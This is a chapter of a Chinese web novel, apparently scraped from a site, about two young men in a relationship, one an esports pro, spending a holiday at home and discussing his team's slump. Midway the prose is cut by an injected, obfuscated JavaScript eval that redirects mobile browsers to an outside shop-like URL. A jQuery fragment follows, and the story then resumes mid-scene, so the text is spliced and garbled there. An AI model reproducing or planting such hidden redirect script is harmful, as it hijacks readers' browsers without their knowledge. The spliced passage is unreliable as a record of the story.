第二天就是五一，想着恐怕要堵车且下午也睡觉了，所以在夜半三四点他带着谈年回了家。


    往回走的路上陆意扬连了自己歌单，一路上唱着歌，他唱歌挺好听，小时候他妈让他学钢琴又学吉他，他妈小说看多了，觉得男孩儿得上大学或者高中的时候有点才艺傍身，也叫装逼。


    谈年也不玩手机，偶尔在后视镜上看一下猫，剩下就是安静地听陆意扬一会儿抒情一会金曲。


    小魔王在后座上睡着了，二人有一搭没一搭聊天，启明星挂在远方深蓝上，路上车并不多，二人在回去路上牵着手。


    昨晚去夜市玩的时候开始同喝一杯奶茶，一起吃一个冰淇淋，给他戴搞笑发窟，还去套了大鹅，套完手好臭，洗手台又找半天，电玩城又抓了娃娃，看路边了的杂耍，在商业化出来的影视城夜市里，在他过去陆意扬想吃的炸萝卜丝丸子队伍那排队的时候，陆意扬还偷偷买了一条许愿绸带，握着笔想了半天，最后写：愿我们可以一起吃很多很多很多次饭。


    当然昨天睡觉的时候是没穿衣服了，但是也就是双手成就梦想的程度。


    那个事情.....很痛吧？就我感觉我们现在这样是不是也行了？


    陆意扬在这个时候发现谈年的规律，就是只要自己不提，他完全不会提，但是只要自己提了，他就会飞快地要求....进步。


    他睡着了。


    陆意扬把音量调小了一点儿，猫在后面吹空调冷了，特聪明，跑过来窝在谈年的腿上睡。


    陆意扬在县道边停车，把后面的外套盖在他的身上。


    到家天都没亮，可能这两天昼夜颠倒，也可能因为微信两万步，到了家的陆意扬没什么精神，倒头就睡。


    睡觉时间听见外面有人在洗漱，有人开了洗衣机，有人推开门进来看了他好几次。


    再醒，已经是下午了。


    又是熟悉的一幕，谈年在电脑房打游戏，没带耳机，猫在他手边躺着睡觉，桌边的杯子上水已经空了。


    陆意扬光着脚在后面默默地看他打完，然后把椅子拉出来，把他的手放下来，坐在他的腿上，抱着他的脖子把自己横过来。


    因为更亲密的事情都做过了，陆意扬已经完全没有之前拘谨了，就是昨天花了很长时间才能直视他的嘴。


    “睡醒了？”


    “嗯。”陆意扬闭着眼睛往他的脖子里拱。


    他又是一样的给他擦脚底，可能想到他马上又要回去基地了，有点舍不得人，陆意扬提前焦虑的毛病严重。


    但是怕一说，他又要两边跑，受累，于是说：“看你半天了，越来越菜了。”


    “是吗。”


    “跟谁solo呢。”陆意扬歪歪的赖在人身上。


    “B哥，两千，赢了分你。”


    “早说，”陆意扬眼睛都睁开了，“快让我下来，这我卡在这你怎么玩啊。”


    “等下，一血。”


    “我转不过来看。”


    “好了。”


    陆意扬下来坐在旁边，刚想问饿不饿，谈年说，“K哥早上回来了，冰箱里里有K哥爸妈给我们做好的菜，他早上送过来的。”


    听到K哥这么一大早的就回来了，陆意扬就有点不太高兴地瘪了下嘴，那他其他队友肯定也就这两天就回来，那他肯定很快就要回去了。


    又要我自己了。


    “我等你一起。”陆意扬问，“就打这把吗？”


    “嗯。”


    “那我去弄一下饭，一会儿你直接吃饭吧。”


    陆意扬把之前的冻过头的菜都拿出来扔了，然后重新焖上了米饭，叼着一支雪糕轻车熟路的热饭，身边有长辈最大的好处就是有很多好吃的。


    K哥妈妈弄得八珍蛋看起来就很麻烦，但是好吃，听说陆意扬喜欢吃辣的，还做了大头菜，脆口又下饭，盒子里还有啤酒鸭，热一下就可以吃。


    “送这么多菜？”陆意扬说：“我听珂珂说要去妙妙老家玩呢，我网上买点礼品让珂珂带过去吧。”


    “好。”


    陆意扬收拾着K哥送来的菜，有点心事，“你们回去，K哥的事儿，也要一块儿说了吗，要问一下小5的意思吗？”


    “小5可能想跟你聊一聊。”


    “我觉得按照春季赛打R21的那三场，这打野不做出改变的话，秋季赛会更麻烦。”陆意扬手上烧着菜，“但是也不是四五对换就可以绝对改善这个问题，现在五月份，秋季赛在九月份，起码四个月打底，但是转会期你们不打算动吗？”


    “应该不会。”


    “你有的好苦了，”陆意扬将碗筷拿出来，一边准备饭一边跟他聊：“野辅一出问题，前期中路压力太大了，关键是秋赛的版本，连续三个版本都在改上单，春季赛版本还是在大前期，几千万的比赛，赛事组肯定想把赛事时间拉到30分钟左右，精彩一点，对抗一点，起码不能一波就没了，道具、BP、TP都在改，版本没出来之前练其实我觉得，也只能按照经典野辅搭配去练，但是万一版本变动大的话，这半年就白干了。”


    谈年平常跟陆意扬沟通倒是很顺畅，但是像这种一大段涉及到游戏的，他就只是听着。


    “还有就是K哥心态的问题，”陆意扬眨巴了好几下眼睛说：“跟R21打的那几场，他心态崩得太严重了，而且B哥也是，这个节骨眼了还一直骂他。”


    “本来K哥心里就难受，一把比一把失控，”等陆意扬再打个青菜丸子汤的功夫谈年就打完了，走两步都能看见电脑上行的[WIN]。


    “我觉得你们椰哥的理念蛮好的，这次好好调整一下，”陆意扬想着一直抱怨他们队伍这个那个也不合适，接着说：“没什么大事儿，心在一块就行。”


    陆意扬把菜都拿到茶几上，“快来吃饭。”


    谈年蹲下来教小魔王握手，又喂它吃猫条。


    “老给它吃零食，猫粮也不好好吃，”陆意扬说：“那个死吵的蟑螂被我藏起来了，这猫太精了，之前居然还扒拉我抽屉。”


    “嗯。”谈年拍了下猫脑袋。


    “我想把去玩的照片洗出来，我们学校门口的打印店老坑了，洗照片的这么贵，我在网上找了一家，我还买相框了。”


    “嗯。”


    “你吃这个，妙妙她妈妈买的丸子，手打的，好好吃。”


    “嗯。”


    之前陆意扬自己在家的时候都是坐在小板凳上吃饭，沙发他有点累，餐桌他懒得搬出来。


    现在就变成了一个人坐在沙发上，一个人坐在小板凳上，陆意扬靠在谈年的腿上，二人一起吃饭，今天还是的柯南的经典三选一，陆意扬推理上了。


    一集结束结束，陆意扬也吃完了，把碗放桌上，往后仰，靠在谈年身上，伸着手，“剪指甲。”


    陆意扬躺在他的腿上，仰着头，想了一会儿他说，“谢谢老公。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222310|190783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谈年吞了吞口水，继续面无表情盯着电视上的目暮警官看。


    陆意扬本来就不期待他的表情，反正他就没什么很激烈的情绪波动。


    下午两个人坐在小小的电脑房里，谈年在YY听小5说一些比赛的事儿，陆意扬在旁边看着珂珂发来的一堆通知跟纪要。


    天气不冷不热，陆意扬幻想的休赛假期居然还是两个人坐在一起加班，陆意扬戴着眼镜，等他得闲的时候给他揉一下手腕，笑着说以后等老了他俩买菜都拎不回家。


    小5终于也不得不面对队伍的问题，K哥昨晚上给他打一晚上电话，他赖赖唧唧的重复着一些内容，说晚上的飞机就要回来了，K哥会去机场接他。


    等夜色渐浓的时候，陆意扬忘记衣服还没晾，阳台这个窗户偶尔要关不紧，谈年正在拿螺丝刀别正窗框。


    电脑房的门太久没添油，关起来时候偶尔有刺耳的声响，谈年正在修门，他拎着东西看着卫生间的门，上次给入户门换锁的时候多备了一个，看了看也没换，任由这卫生间的门不能锁。


    厨房有一扇柜门的开合有问题，谈年站在凳子上拧紧了。


    药盒子里的药陆意扬都不收拾，谈年正在一个个核对保质期。


    陆意扬卫生间的花洒出水特别不稳定，烫，经常得卡得刚刚好才能洗澡，每次都挺麻烦，陆意扬说之前的旧的就不这样。


    谈年把花洒下面的减压阀给拆了，再出了一会水，果然没那么烫了。


    谈年走来走去，陆意扬感觉他故意在晃，感觉他在故意找活儿干，前面干的那些起码还有用，但是他连衣架都要掰得特别正是不是有点不正常了？


    “你干嘛呢？这么闲怎么不去把盐数了？”


    “.......”谈年把衣架都挂回去，点点头，“哦。”


    “你干什么呢？”陆意扬掐了一把他的脸。


    谈年捏着个螺丝刀，摸了一下鼻子，“干活。”


    陆意扬拽住了要走的人的袖子，凑到他眼前问，“你有心事啊？”


    “没。”


    “我再给你一次机会啊，”陆意扬问，“你有什么事？”


    “....干活。”


    “我知道啊，谈师傅干了很多活儿。”


    “......嗯。”


    “赶紧说，”陆意扬从后面用手肘寸住了他的脖子，“到底怎么了。”


    谈年欲言又止，被后面的人一掐，只能说，“你...你应该有所表示。”


    “我怎么表示？”他应该不是想跟我要钱，这个我是确定的，那他要什么？


    “我的指甲也有点长。”谈年说。


    “哪里长了？”陆意扬翻着他的手看：“我上次就看见了你那个工位上好几个指甲剪，你没事就在那剪，就这一点点也要剪吗？看都看不到。”


    “长。”


    无理取闹得有点莫名其妙。


    他极少会有这样的情况。


    等陆意扬理解他意思的时候......


    “......谢谢，”陆意扬很无语地看着他，“.....老公？”


    谈年摸着螺丝刀，点点头，“哦，不用谢，应该的。”


    陆意扬把他攥在手里的螺丝刀放在阳台上，然后钻到他前面，抱住了他的脖子，“真的不用吗，不用的话下次就不表示了。”


    谈年舔了一下嘴唇，“......那还是用的。”